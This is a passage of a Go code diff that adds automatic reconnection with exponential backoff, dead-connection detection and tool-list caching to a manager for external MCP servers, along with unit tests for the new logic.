Description: req.Description, Description: clampProjectDescription(req.Description),
ScopeJSON: req.ScopeJSON, ScopeJSON: req.ScopeJSON,
Status: strings.TrimSpace(req.Status), Status: strings.TrimSpace(req.Status),
} }
@@ -184,7 +194,7 @@ func (h *ProjectHandler) UpdateProject(c *gin.Context) {
} }
} }
if req.Description != nil { if req.Description != nil {
p.Description = *req.Description p.Description = clampProjectDescription(*req.Description)
} }
if req.ScopeJSON != nil { if req.ScopeJSON != nil {
p.ScopeJSON = *req.ScopeJSON p.ScopeJSON = *req.ScopeJSON
+17
View File
@@ -190,6 +190,23 @@ func (c *lazySDKClient) Close() error {
return nil return nil
} }
// markDisconnected 在检测到传输层断连时关闭底层 session,避免 IsConnected 仍返回 true。
func (c *lazySDKClient) markDisconnected() {
c.mu.Lock()
inner := c.inner
sessionCancel := c.sessionCancel
c.inner = nil
c.sessionCancel = nil
c.mu.Unlock()
if sessionCancel != nil {
sessionCancel()
}
if inner != nil {
_ = inner.Close()
}
c.setStatus("disconnected")
}
func (c *sdkClient) setStatus(s string) { func (c *sdkClient) setStatus(s string) {
c.mu.Lock() c.mu.Lock()
defer c.mu.Unlock() defer c.mu.Unlock()
+192
View File
@@ -0,0 +1,192 @@
package mcp
import (
"context"
"errors"
"io"
"strings"
"time"
"go.uber.org/zap"
)
const (
// externalReconnectMinInterval 两次自动重连之间的最短间隔
externalReconnectMinInterval = 30 * time.Second
// externalReconnectMaxBackoff 指数退避上限
externalReconnectMaxBackoff = 5 * time.Minute
)
// isConnectionDeadError 判断错误是否表示底层传输已断开(而非调用方主动取消或超时)。
func isConnectionDeadError(err error) bool {
if err == nil {
return false
}
if errors.Is(err, context.Canceled) || errors.Is(err, context.DeadlineExceeded) {
return false
}
if errors.Is(err, io.EOF) {
return true
}
s := strings.ToLower(err.Error())
return strings.Contains(s, "eof") ||
strings.Contains(s, "client is closing") ||
strings.Contains(s, "connection closed") ||
strings.Contains(s, "connection reset") ||
strings.Contains(s, "broken pipe")
}
// handleConnectionDead 在 ListTools/CallTool 等操作失败且判定为断连时,标记客户端并调度重连。
func (m *ExternalMCPManager) handleConnectionDead(name string, client ExternalMCPClient, err error) {
if !isConnectionDeadError(err) {
return
}
m.logger.Warn("检测到外部MCP连接已断开,将尝试自动重连",
zap.String("name", name),
zap.Error(err),
)
m.markClientDisconnected(name, client, err)
m.scheduleReconnect(name)
}
func (m *ExternalMCPManager) markClientDisconnected(name string, client ExternalMCPClient, err error) {
if lazy, ok := client.(*lazySDKClient); ok {
lazy.markDisconnected()
}
m.mu.Lock()
if err != nil {
m.errors[name] = "连接已断开: " + err.Error()
}
m.mu.Unlock()
m.toolCountsMu.Lock()
m.toolCounts[name] = 0
m.toolCountsMu.Unlock()
}
func (m *ExternalMCPManager) onClientConnected(name string) {
m.clearReconnectState(name)
}
func (m *ExternalMCPManager) clearReconnectState(name string) {
m.reconnectMu.Lock()
delete(m.reconnectAttempts, name)
delete(m.reconnectLastTry, name)
delete(m.reconnecting, name)
m.reconnectMu.Unlock()
}
func (m *ExternalMCPManager) reconnectBackoff(attempts int) time.Duration {
if attempts <= 0 {
return 0
}
d := externalReconnectMinInterval
for i := 1; i < attempts && d < externalReconnectMaxBackoff; i++ {
d *= 2
}
if d > externalReconnectMaxBackoff {
return externalReconnectMaxBackoff
}
return d
}
func (m *ExternalMCPManager) scheduleReconnect(name string) {
m.mu.RLock()
cfg, exists := m.configs[name]
enabled := exists && m.isEnabled(cfg)
m.mu.RUnlock()
if !enabled {
return
}
go m.tryReconnect(name)
}
func (m *ExternalMCPManager) tryReconnect(name string) {
m.reconnectMu.Lock()
if m.reconnecting[name] {
m.reconnectMu.Unlock()
return
}
attempts := m.reconnectAttempts[name]
if wait := m.reconnectBackoff(attempts); wait > 0 {
if last, ok := m.reconnectLastTry[name]; ok {
if elapsed := time.Since(last); elapsed < wait {
remaining := wait - elapsed
m.reconnectMu.Unlock()
m.scheduleReconnectAfter(name, remaining)
return
}
}
}
m.reconnecting[name] = true
m.reconnectMu.Unlock()
defer func() {
m.reconnectMu.Lock()
delete(m.reconnecting, name)
m.reconnectMu.Unlock()
}()
m.mu.RLock()
cfg, exists := m.configs[name]
enabled := exists && m.isEnabled(cfg)
client, hasClient := m.clients[name]
connecting := hasClient && client.GetStatus() == "connecting"
m.mu.RUnlock()
if !enabled {
m.logger.Debug("跳过自动重连(外部MCP已停用)", zap.String("name", name))
return
}
if connecting {
m.logger.Debug("跳过自动重连(连接正在进行中)", zap.String("name", name))
return
}
m.reconnectMu.Lock()
m.reconnectLastTry[name] = time.Now()
m.reconnectAttempts[name] = attempts + 1
attemptNum := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
m.logger.Info("正在自动重连外部MCP",
zap.String("name", name),
zap.Int("attempt", attemptNum),
)
if err := m.startClient(name, true); err != nil {
m.logger.Warn("自动重连外部MCP失败",
zap.String("name", name),
zap.Error(err),
)
}
}
// scheduleReconnectAfterFailure 在自动重连失败后,按当前退避间隔预约下一次重试。
func (m *ExternalMCPManager) scheduleReconnectAfterFailure(name string) {
m.mu.RLock()
cfg, exists := m.configs[name]
enabled := exists && m.isEnabled(cfg)
m.mu.RUnlock()
if !enabled {
return
}
m.reconnectMu.Lock()
wait := m.reconnectBackoff(m.reconnectAttempts[name])
m.reconnectMu.Unlock()
m.logger.Info("自动重连失败,将按退避间隔再次尝试",
zap.String("name", name),
zap.Duration("after", wait),
)
m.scheduleReconnectAfter(name, wait)
}
// scheduleReconnectAfter 在 delay 后触发 tryReconnectdelay<=0 时立即执行)。
func (m *ExternalMCPManager) scheduleReconnectAfter(name string, delay time.Duration) {
if delay <= 0 {
go m.tryReconnect(name)
return
}
time.AfterFunc(delay, func() {
m.tryReconnect(name)
})
}
+215
View File
@@ -0,0 +1,215 @@
package mcp
import (
"context"
"errors"
"fmt"
"io"
"testing"
"time"
"cyberstrike-ai/internal/config"
"go.uber.org/zap"
)
func TestIsConnectionDeadError(t *testing.T) {
t.Parallel()
cases := []struct {
name string
err error
want bool
}{
{"nil", nil, false},
{"eof", io.EOF, true},
{"wrapped eof", fmt.Errorf("connection closed: %w", io.EOF), true},
{"client closing", errors.New(`calling "tools/list": client is closing: EOF`), true},
{"connection reset", errors.New("read tcp: connection reset by peer"), true},
{"canceled", context.Canceled, false},
{"deadline", context.DeadlineExceeded, false},
{"other", errors.New("invalid params"), false},
}
for _, tc := range cases {
tc := tc
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
if got := isConnectionDeadError(tc.err); got != tc.want {
t.Fatalf("isConnectionDeadError(%v) = %v, want %v", tc.err, got, tc.want)
}
})
}
}
func TestLazySDKClient_MarkDisconnected(t *testing.T) {
c := &lazySDKClient{status: "connected"}
c.inner = &sdkClient{status: "connected"}
c.markDisconnected()
if c.IsConnected() {
t.Fatal("expected disconnected after markDisconnected")
}
if c.GetStatus() != "disconnected" {
t.Fatalf("expected status disconnected, got %s", c.GetStatus())
}
}
func TestHandleConnectionDead_MarksLazyClientDisconnected(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "dead-mcp"
cfg := config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: true,
}
m.mu.Lock()
m.configs[name] = cfg
client := newLazySDKClient(cfg, logger)
client.inner = &sdkClient{status: "connected"}
client.status = "connected"
m.clients[name] = client
m.mu.Unlock()
deadErr := errors.New(`connection closed: calling "tools/list": client is closing: EOF`)
m.handleConnectionDead(name, client, deadErr)
if client.IsConnected() {
t.Fatal("expected disconnected after handleConnectionDead")
}
if m.GetError(name) == "" {
t.Fatal("expected error message to be recorded")
}
counts := m.GetToolCounts()
if counts[name] != 0 {
t.Fatalf("expected tool count 0 after disconnect, got %d", counts[name])
}
}
func TestReconnectBackoff(t *testing.T) {
t.Parallel()
if d := (&ExternalMCPManager{}).reconnectBackoff(0); d != 0 {
t.Fatalf("attempt 0: got %v", d)
}
if d := (&ExternalMCPManager{}).reconnectBackoff(1); d != externalReconnectMinInterval {
t.Fatalf("attempt 1: got %v", d)
}
if d := (&ExternalMCPManager{}).reconnectBackoff(10); d != externalReconnectMaxBackoff {
t.Fatalf("attempt 10: got %v, want cap %v", d, externalReconnectMaxBackoff)
}
}
func TestTryReconnect_RateLimited(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "rate-limited"
m.reconnectMu.Lock()
m.reconnectLastTry[name] = time.Now()
m.reconnectAttempts[name] = 2
m.reconnectMu.Unlock()
m.tryReconnect(name)
m.reconnectMu.Lock()
attempts := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
if attempts != 2 {
t.Fatalf("rate limited reconnect should not increment attempts, got %d", attempts)
}
}
func TestTryReconnect_SkipsWhenDisabled(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "disabled-mcp"
m.mu.Lock()
m.configs[name] = config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: false,
}
m.mu.Unlock()
m.tryReconnect(name)
m.reconnectMu.Lock()
attempts := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
if attempts != 0 {
t.Fatalf("disabled MCP should not increment reconnect attempts, got %d", attempts)
}
}
func TestTryReconnect_SkipsWhenConnecting(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
name := "connecting-mcp"
cfg := config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: true,
}
client := newLazySDKClient(cfg, logger)
client.setStatus("connecting")
m.mu.Lock()
m.configs[name] = cfg
m.clients[name] = client
m.mu.Unlock()
m.tryReconnect(name)
m.reconnectMu.Lock()
attempts := m.reconnectAttempts[name]
m.reconnectMu.Unlock()
if attempts != 0 {
t.Fatalf("connecting MCP should not increment reconnect attempts, got %d", attempts)
}
}
func TestStartClientAutoReconnect_SkipsWhenDisabled(t *testing.T) {
logger := zap.NewNop()
m := NewExternalMCPManager(logger)
m.stopRefresh = make(chan struct{})
name := "stopped"
m.mu.Lock()
m.configs[name] = config.ExternalMCPServerConfig{
Type: "http",
URL: "http://example.com/mcp",
ExternalMCPEnable: false,
}
m.mu.Unlock()
if err := m.startClient(name, true); err != nil {
t.Fatalf("startClient: %v", err)
}
m.mu.RLock()
cfg := m.configs[name]
_, hasClient := m.clients[name]
m.mu.RUnlock()
if cfg.ExternalMCPEnable {
t.Fatal("auto reconnect should not enable stopped MCP")
}
if hasClient {
t.Fatal("auto reconnect should not create client when disabled")
}
}
func TestOnClientConnected_ClearsReconnectState(t *testing.T) {
m := &ExternalMCPManager{
reconnectAttempts: map[string]int{"x": 3},
reconnectLastTry: map[string]time.Time{"x": time.Now()},
reconnecting: map[string]bool{"x": true},
}
m.onClientConnected("x")
m.reconnectMu.Lock()
defer m.reconnectMu.Unlock()
if len(m.reconnectAttempts) != 0 || len(m.reconnectLastTry) != 0 || len(m.reconnecting) != 0 {
t.Fatal("expected reconnect state cleared")
}
}
+217 -76
View File
@@ -15,6 +15,26 @@ import (
"go.uber.org/zap" "go.uber.org/zap"
) )
const (
// externalToolListCacheTTL 已连接外部 MCP 的工具列表缓存有效期,避免每次 API 请求都打远程 ListTools。
externalToolListCacheTTL = 60 * time.Second
// externalToolCountRefreshInterval 后台刷新工具数量的间隔(仅刷新缓存过期或缺失的客户端)。
externalToolCountRefreshInterval = 60 * time.Second
)
// toolListCacheEntry 外部 MCP 工具列表缓存条目
type toolListCacheEntry struct {
tools []Tool
updatedAt time.Time
}
// listToolsInflight 合并同一 MCP 上并发的 ListTools 请求
type listToolsInflight struct {
done chan struct{}
tools []Tool
err error
}
// ExternalMCPManager 外部MCP管理器 // ExternalMCPManager 外部MCP管理器
type ExternalMCPManager struct { type ExternalMCPManager struct {
clients map[string]ExternalMCPClient clients map[string]ExternalMCPClient
@@ -26,14 +46,20 @@ type ExternalMCPManager struct {
errors map[string]string // 错误信息 errors map[string]string // 错误信息
toolCounts map[string]int // 工具数量缓存 toolCounts map[string]int // 工具数量缓存
toolCountsMu sync.RWMutex // 工具数量缓存的锁 toolCountsMu sync.RWMutex // 工具数量缓存的锁
toolCache map[string][]Tool // 工具列表缓存:MCP名称 -> 工具列表 toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
toolCacheMu sync.RWMutex // 工具列表缓存的锁 toolCacheMu sync.RWMutex // 工具列表缓存的锁
listToolsMu sync.Mutex
listToolsInflight map[string]*listToolsInflight
stopRefresh chan struct{} // 停止后台刷新的信号 stopRefresh chan struct{} // 停止后台刷新的信号
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成 refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积 refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
mu sync.RWMutex mu sync.RWMutex
runningCancels map[string]context.CancelFunc runningCancels map[string]context.CancelFunc
abortUserNotes map[string]string abortUserNotes map[string]string
reconnectMu sync.Mutex
reconnecting map[string]bool
reconnectLastTry map[string]time.Time
reconnectAttempts map[string]int
} }
// NewExternalMCPManager 创建外部MCP管理器 // NewExternalMCPManager 创建外部MCP管理器
@@ -51,11 +77,15 @@ func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage
executions: make(map[string]*ToolExecution), executions: make(map[string]*ToolExecution),
stats: make(map[string]*ToolStats), stats: make(map[string]*ToolStats),
errors: make(map[string]string), errors: make(map[string]string),
toolCounts: make(map[string]int), toolCounts: make(map[string]int),
toolCache: make(map[string][]Tool), toolCache: make(map[string]toolListCacheEntry),
stopRefresh: make(chan struct{}), listToolsInflight: make(map[string]*listToolsInflight),
runningCancels: make(map[string]context.CancelFunc), stopRefresh: make(chan struct{}),
abortUserNotes: make(map[string]string), runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
reconnecting: make(map[string]bool),
reconnectLastTry: make(map[string]time.Time),
reconnectAttempts: make(map[string]int),
} }
// 启动后台刷新工具数量的goroutine // 启动后台刷新工具数量的goroutine
manager.startToolCountRefresh() manager.startToolCountRefresh()
@@ -122,6 +152,7 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
} }
delete(m.configs, name) delete(m.configs, name)
m.clearReconnectState(name)
// 清理工具数量缓存 // 清理工具数量缓存
m.toolCountsMu.Lock() m.toolCountsMu.Lock()
@@ -136,8 +167,13 @@ func (m *ExternalMCPManager) RemoveConfig(name string) error {
return nil return nil
} }
// StartClient 启动客户端 // StartClient 启动客户端(用户手动启动;连接失败不自动重试)
func (m *ExternalMCPManager) StartClient(name string) error { func (m *ExternalMCPManager) StartClient(name string) error {
return m.startClient(name, false)
}
// startClient 启动客户端。autoReconnect 为 true 时用于断连自愈:尊重停用状态,失败后按退避继续重试。
func (m *ExternalMCPManager) startClient(name string, autoReconnect bool) error {
m.mu.Lock() m.mu.Lock()
serverCfg, exists := m.configs[name] serverCfg, exists := m.configs[name]
m.mu.Unlock() m.mu.Unlock()
@@ -146,6 +182,10 @@ func (m *ExternalMCPManager) StartClient(name string) error {
return fmt.Errorf("配置不存在: %s", name) return fmt.Errorf("配置不存在: %s", name)
} }
if autoReconnect && !m.isEnabled(serverCfg) {
return nil
}
// 检查是否已经有连接的客户端 // 检查是否已经有连接的客户端
m.mu.RLock() m.mu.RLock()
existingClient, hasClient := m.clients[name] existingClient, hasClient := m.clients[name]
@@ -155,11 +195,12 @@ func (m *ExternalMCPManager) StartClient(name string) error {
// 检查客户端是否已连接 // 检查客户端是否已连接
if existingClient.IsConnected() { if existingClient.IsConnected() {
// 客户端已连接,直接返回成功(目标状态已达成) // 客户端已连接,直接返回成功(目标状态已达成)
// 更新配置为启用(确保配置一致) if !autoReconnect {
m.mu.Lock() m.mu.Lock()
serverCfg.ExternalMCPEnable = true serverCfg.ExternalMCPEnable = true
m.configs[name] = serverCfg m.configs[name] = serverCfg
m.mu.Unlock() m.mu.Unlock()
}
return nil return nil
} }
// 如果有客户端但未连接,先关闭 // 如果有客户端但未连接,先关闭
@@ -169,6 +210,16 @@ func (m *ExternalMCPManager) StartClient(name string) error {
m.mu.Unlock() m.mu.Unlock()
} }
if autoReconnect {
m.mu.RLock()
serverCfg, exists = m.configs[name]
enabled := exists && m.isEnabled(serverCfg)
m.mu.RUnlock()
if !enabled {
return nil
}
}
// 更新配置为启用 // 更新配置为启用
m.mu.Lock() m.mu.Lock()
serverCfg.ExternalMCPEnable = true serverCfg.ExternalMCPEnable = true
@@ -192,10 +243,11 @@ func (m *ExternalMCPManager) StartClient(name string) error {
m.mu.Unlock() m.mu.Unlock()
// 在后台异步进行实际连接 // 在后台异步进行实际连接
go func() { go func(reconnect bool) {
if err := m.doConnect(name, serverCfg, client); err != nil { if err := m.doConnect(name, serverCfg, client); err != nil {
m.logger.Error("连接外部MCP客户端失败", m.logger.Error("连接外部MCP客户端失败",
zap.String("name", name), zap.String("name", name),
zap.Bool("auto_reconnect", reconnect),
zap.Error(err), zap.Error(err),
) )
// 连接失败,设置状态为error并保存错误信息 // 连接失败,设置状态为error并保存错误信息
@@ -205,22 +257,19 @@ func (m *ExternalMCPManager) StartClient(name string) error {
m.mu.Unlock() m.mu.Unlock()
// 触发工具数量刷新(连接失败,工具数量应为0) // 触发工具数量刷新(连接失败,工具数量应为0)
m.triggerToolCountRefresh() m.triggerToolCountRefresh()
if reconnect {
m.scheduleReconnectAfterFailure(name)
}
} else { } else {
// 连接成功,清除错误信息 // 连接成功,清除错误信息
m.mu.Lock() m.mu.Lock()
delete(m.errors, name) delete(m.errors, name)
m.mu.Unlock() m.mu.Unlock()
// 立即刷新工具数量和工具列表缓存 m.onClientConnected(name)
m.triggerToolCountRefresh() // 异步拉取工具列表(singleflight 去重,结果同时写入 toolCache 与 toolCounts
m.refreshToolCache(name, client) go m.refreshToolCache(name, client)
// 2 秒后再刷新一次,覆盖 SSE/Streamable 等需稍等就绪的远端
go func() {
time.Sleep(2 * time.Second)
m.triggerToolCountRefresh()
m.refreshToolCache(name, client)
}()
} }
}() }(autoReconnect)
return nil return nil
} }
@@ -249,10 +298,16 @@ func (m *ExternalMCPManager) StopClient(name string) error {
m.toolCounts[name] = 0 m.toolCounts[name] = 0
m.toolCountsMu.Unlock() m.toolCountsMu.Unlock()
m.toolCacheMu.Lock()
delete(m.toolCache, name)
m.toolCacheMu.Unlock()
// 更新配置为禁用 // 更新配置为禁用
serverCfg.ExternalMCPEnable = false serverCfg.ExternalMCPEnable = false
m.configs[name] = serverCfg m.configs[name] = serverCfg
m.clearReconnectState(name)
return nil return nil
} }
@@ -335,16 +390,19 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
return nil, fmt.Errorf("外部MCP连接失败: %s", name) return nil, fmt.Errorf("外部MCP连接失败: %s", name)
} }
// 已连接:尝试获取最新工具列表 // 已连接:缓存优先,仅在缺失或过期时打远程 ListTools
if client.IsConnected() { if client.IsConnected() {
tools, err := client.ListTools(ctx) if tools, ok := m.getFreshCachedTools(name); ok {
return tools, nil
}
if tools, ok := m.getAnyCachedTools(name); ok {
m.triggerToolListRefresh(name, client)
return tools, nil
}
tools, err := m.listToolsDeduped(ctx, name, client)
if err != nil { if err != nil {
// 获取失败,尝试使用缓存
return m.getCachedTools(name, "连接正常但获取失败", err) return m.getCachedTools(name, "连接正常但获取失败", err)
} }
// 获取成功,更新缓存
m.updateToolCache(name, tools)
return tools, nil return tools, nil
} }
@@ -361,37 +419,127 @@ func (m *ExternalMCPManager) getToolsForClient(name string, client ExternalMCPCl
return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status) return nil, fmt.Errorf("外部MCP状态未知: %s (状态: %s)", name, status)
} }
// getCachedTools 获取缓存的工具列表 // getCachedTools 获取缓存的工具列表(含空列表缓存)
func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) { func (m *ExternalMCPManager) getCachedTools(name, reason string, originalErr error) ([]Tool, error) {
m.toolCacheMu.RLock() if tools, ok := m.getAnyCachedTools(name); ok {
cachedTools, hasCache := m.toolCache[name]
m.toolCacheMu.RUnlock()
if hasCache && len(cachedTools) > 0 {
m.logger.Debug("使用缓存的工具列表", m.logger.Debug("使用缓存的工具列表",
zap.String("name", name), zap.String("name", name),
zap.String("reason", reason), zap.String("reason", reason),
zap.Int("count", len(cachedTools)), zap.Int("count", len(tools)),
zap.Error(originalErr), zap.Error(originalErr),
) )
return cachedTools, nil return tools, nil
} }
// 无缓存,返回错误
if originalErr != nil { if originalErr != nil {
return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr) return nil, fmt.Errorf("获取外部MCP工具失败且无缓存: %w", originalErr)
} }
return nil, fmt.Errorf("外部MCP无缓存工具: %s", name) return nil, fmt.Errorf("外部MCP无缓存工具: %s", name)
} }
// updateToolCache 更新工具列表缓存 func (m *ExternalMCPManager) isToolCacheFresh(updatedAt time.Time) bool {
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) { return !updatedAt.IsZero() && time.Since(updatedAt) < externalToolListCacheTTL
}
func cloneTools(tools []Tool) []Tool {
if len(tools) == 0 {
return nil
}
out := make([]Tool, len(tools))
copy(out, tools)
return out
}
func (m *ExternalMCPManager) getFreshCachedTools(name string) ([]Tool, bool) {
m.toolCacheMu.RLock()
entry, ok := m.toolCache[name]
m.toolCacheMu.RUnlock()
if !ok || !m.isToolCacheFresh(entry.updatedAt) {
return nil, false
}
return cloneTools(entry.tools), true
}
func (m *ExternalMCPManager) getAnyCachedTools(name string) ([]Tool, bool) {
m.toolCacheMu.RLock()
entry, ok := m.toolCache[name]
m.toolCacheMu.RUnlock()
if !ok {
return nil, false
}
return cloneTools(entry.tools), true
}
// listToolsDeduped 对同一 MCP 合并并发 ListTools,并更新 toolCache / toolCounts。
func (m *ExternalMCPManager) listToolsDeduped(ctx context.Context, name string, client ExternalMCPClient) ([]Tool, error) {
m.listToolsMu.Lock()
if inflight, exists := m.listToolsInflight[name]; exists {
m.listToolsMu.Unlock()
select {
case <-inflight.done:
if inflight.err != nil {
return nil, inflight.err
}
return cloneTools(inflight.tools), nil
case <-ctx.Done():
return nil, ctx.Err()
}
}
inflight := &listToolsInflight{done: make(chan struct{})}
m.listToolsInflight[name] = inflight
m.listToolsMu.Unlock()
inflight.tools, inflight.err = client.ListTools(ctx)
if inflight.err == nil {
m.updateToolCache(name, inflight.tools)
}
m.listToolsMu.Lock()
delete(m.listToolsInflight, name)
close(inflight.done)
m.listToolsMu.Unlock()
if inflight.err != nil {
m.handleConnectionDead(name, client, inflight.err)
return nil, inflight.err
}
return cloneTools(inflight.tools), nil
}
// InvalidateToolCache 清除指定外部 MCP 的工具列表缓存(手动刷新时使用)
func (m *ExternalMCPManager) InvalidateToolCache(name string) {
m.toolCacheMu.Lock() m.toolCacheMu.Lock()
m.toolCache[name] = tools delete(m.toolCache, name)
m.toolCacheMu.Unlock()
}
// InvalidateAllToolCaches 清除所有外部 MCP 工具列表缓存
func (m *ExternalMCPManager) InvalidateAllToolCaches() {
m.toolCacheMu.Lock()
m.toolCache = make(map[string]toolListCacheEntry)
m.toolCacheMu.Unlock()
}
func (m *ExternalMCPManager) triggerToolListRefresh(name string, client ExternalMCPClient) {
go func() {
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
defer cancel()
_, _ = m.listToolsDeduped(ctx, name, client)
}()
}
// updateToolCache 更新工具列表缓存与工具数量
func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
stored := cloneTools(tools)
m.toolCacheMu.Lock()
m.toolCache[name] = toolListCacheEntry{tools: stored, updatedAt: time.Now()}
m.toolCacheMu.Unlock() m.toolCacheMu.Unlock()
// 如果返回空列表,记录警告 m.toolCountsMu.Lock()
if len(tools) == 0 { m.toolCounts[name] = len(stored)
m.toolCountsMu.Unlock()
if len(stored) == 0 {
m.logger.Warn("外部MCP返回空工具列表", m.logger.Warn("外部MCP返回空工具列表",
zap.String("name", name), zap.String("name", name),
zap.String("hint", "服务可能暂时不可用,工具列表为空"), zap.String("hint", "服务可能暂时不可用,工具列表为空"),
@@ -399,7 +547,7 @@ func (m *ExternalMCPManager) updateToolCache(name string, tools []Tool) {
} else { } else {
m.logger.Debug("工具列表缓存已更新", m.logger.Debug("工具列表缓存已更新",
zap.String("name", name), zap.String("name", name),
zap.Int("count", len(tools)), zap.Int("count", len(stored)),
) )
} }
} }
@@ -467,6 +615,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
// 调用工具 // 调用工具
result, err := client.CallTool(execCtx, actualToolName, args) result, err := client.CallTool(execCtx, actualToolName, args)
if err != nil {
m.handleConnectionDead(mcpName, client, err)
}
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err) cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
// 更新执行记录 // 更新执行记录
@@ -854,28 +1005,27 @@ func (m *ExternalMCPManager) refreshToolCounts() {
return return
} }
// 使用合理的超时时间(15秒),既能应对网络延迟,又不会过长阻塞 // 缓存仍新鲜时直接复用,避免与 GetAllTools 重复打远程
// 由于这是后台异步刷新,超时不会影响前端响应 if _, fresh := m.getFreshCachedTools(n); fresh {
m.toolCountsMu.RLock()
count := m.toolCounts[n]
m.toolCountsMu.RUnlock()
resultChan <- countResult{name: n, count: count}
return
}
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second) ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
tools, err := c.ListTools(ctx) tools, err := m.listToolsDeduped(ctx, n, c)
cancel() cancel()
if err != nil { if err != nil {
errStr := err.Error() if !isConnectionDeadError(err) {
// SSE 连接 EOF:远端可能关闭了流或未按规范在流上推送响应,仅首次用 Warn 提示
if strings.Contains(errStr, "EOF") || strings.Contains(errStr, "client is closing") {
m.logger.Warn("获取外部MCP工具数量失败(SSE 流已关闭或服务端未在流上返回 tools/list 响应)",
zap.String("name", n),
zap.String("hint", "若为 SSE 连接,请确认服务端保持 GET 流打开并按 MCP 规范以 event: message 推送 JSON-RPC 响应"),
zap.Error(err),
)
} else {
m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list", m.logger.Warn("获取外部MCP工具数量失败,请检查连接或服务端 tools/list",
zap.String("name", n), zap.String("name", n),
zap.Error(err), zap.Error(err),
) )
} }
resultChan <- countResult{name: n, count: -1} // -1 表示使用旧值 resultChan <- countResult{name: n, count: -1}
return return
} }
@@ -925,33 +1075,21 @@ func (m *ExternalMCPManager) refreshToolCache(name string, client ExternalMCPCli
if !client.IsConnected() { if !client.IsConnected() {
return return
} }
if client.GetStatus() == "error" {
// 检查状态,如果是error状态,不更新缓存
status := client.GetStatus()
if status == "error" {
m.logger.Debug("跳过刷新工具列表缓存(连接失败)", m.logger.Debug("跳过刷新工具列表缓存(连接失败)",
zap.String("name", name), zap.String("name", name),
zap.String("status", status),
) )
return return
} }
// 使用较短的超时时间(5秒) ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
defer cancel() defer cancel()
if _, err := m.listToolsDeduped(ctx, name, client); err != nil {
tools, err := client.ListTools(ctx)
if err != nil {
m.logger.Debug("刷新工具列表缓存失败", m.logger.Debug("刷新工具列表缓存失败",
zap.String("name", name), zap.String("name", name),
zap.Error(err), zap.Error(err),
) )
// 刷新失败时不更新缓存,保留旧缓存(如果有)
return
} }
// 使用统一的缓存更新方法
m.updateToolCache(name, tools)
} }
// startToolCountRefresh 启动后台刷新工具数量的goroutine // startToolCountRefresh 启动后台刷新工具数量的goroutine
@@ -959,7 +1097,7 @@ func (m *ExternalMCPManager) startToolCountRefresh() {
m.refreshWg.Add(1) m.refreshWg.Add(1)
go func() { go func() {
defer m.refreshWg.Done() defer m.refreshWg.Done()
ticker := time.NewTicker(10 * time.Second) // 每10秒刷新一次 ticker := time.NewTicker(externalToolCountRefreshInterval)
defer ticker.Stop() defer ticker.Stop()
// 立即执行一次刷新 // 立即执行一次刷新
@@ -1075,6 +1213,8 @@ func (m *ExternalMCPManager) connectClient(name string, serverCfg config.Externa
zap.String("name", name), zap.String("name", name),
) )
m.onClientConnected(name)
// 连接成功,触发工具数量刷新和工具列表缓存刷新 // 连接成功,触发工具数量刷新和工具列表缓存刷新
m.triggerToolCountRefresh() m.triggerToolCountRefresh()
m.mu.RLock() m.mu.RLock()
@@ -1159,6 +1299,7 @@ func (m *ExternalMCPManager) StopAll() {
for name, client := range m.clients { for name, client := range m.clients {
client.Close() client.Close()
delete(m.clients, name) delete(m.clients, name)
m.clearReconnectState(name)
} }
// 清理所有工具数量缓存 // 清理所有工具数量缓存
@@ -1168,7 +1309,7 @@ func (m *ExternalMCPManager) StopAll() {
// 清理所有工具列表缓存 // 清理所有工具列表缓存
m.toolCacheMu.Lock() m.toolCacheMu.Lock()
m.toolCache = make(map[string][]Tool) m.toolCache = make(map[string]toolListCacheEntry)
m.toolCacheMu.Unlock() m.toolCacheMu.Unlock()
// 停止后台刷新(使用 select 避免重复关闭 channel // 停止后台刷新(使用 select 避免重复关闭 channel
+23
View File
@@ -1027,9 +1027,32 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs), orchMode, runAccumulatedMsgs, persistTraceSource(args, runAccumulatedMsgs),
lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false, lastAssistant, lastPlanExecuteExecutor, emptyHint, ids, false,
) )
if shouldEinoEmptyResponseContinue(out, emptyHint, len(runAccumulatedMsgs), baseAccumulatedCount) {
if logger != nil {
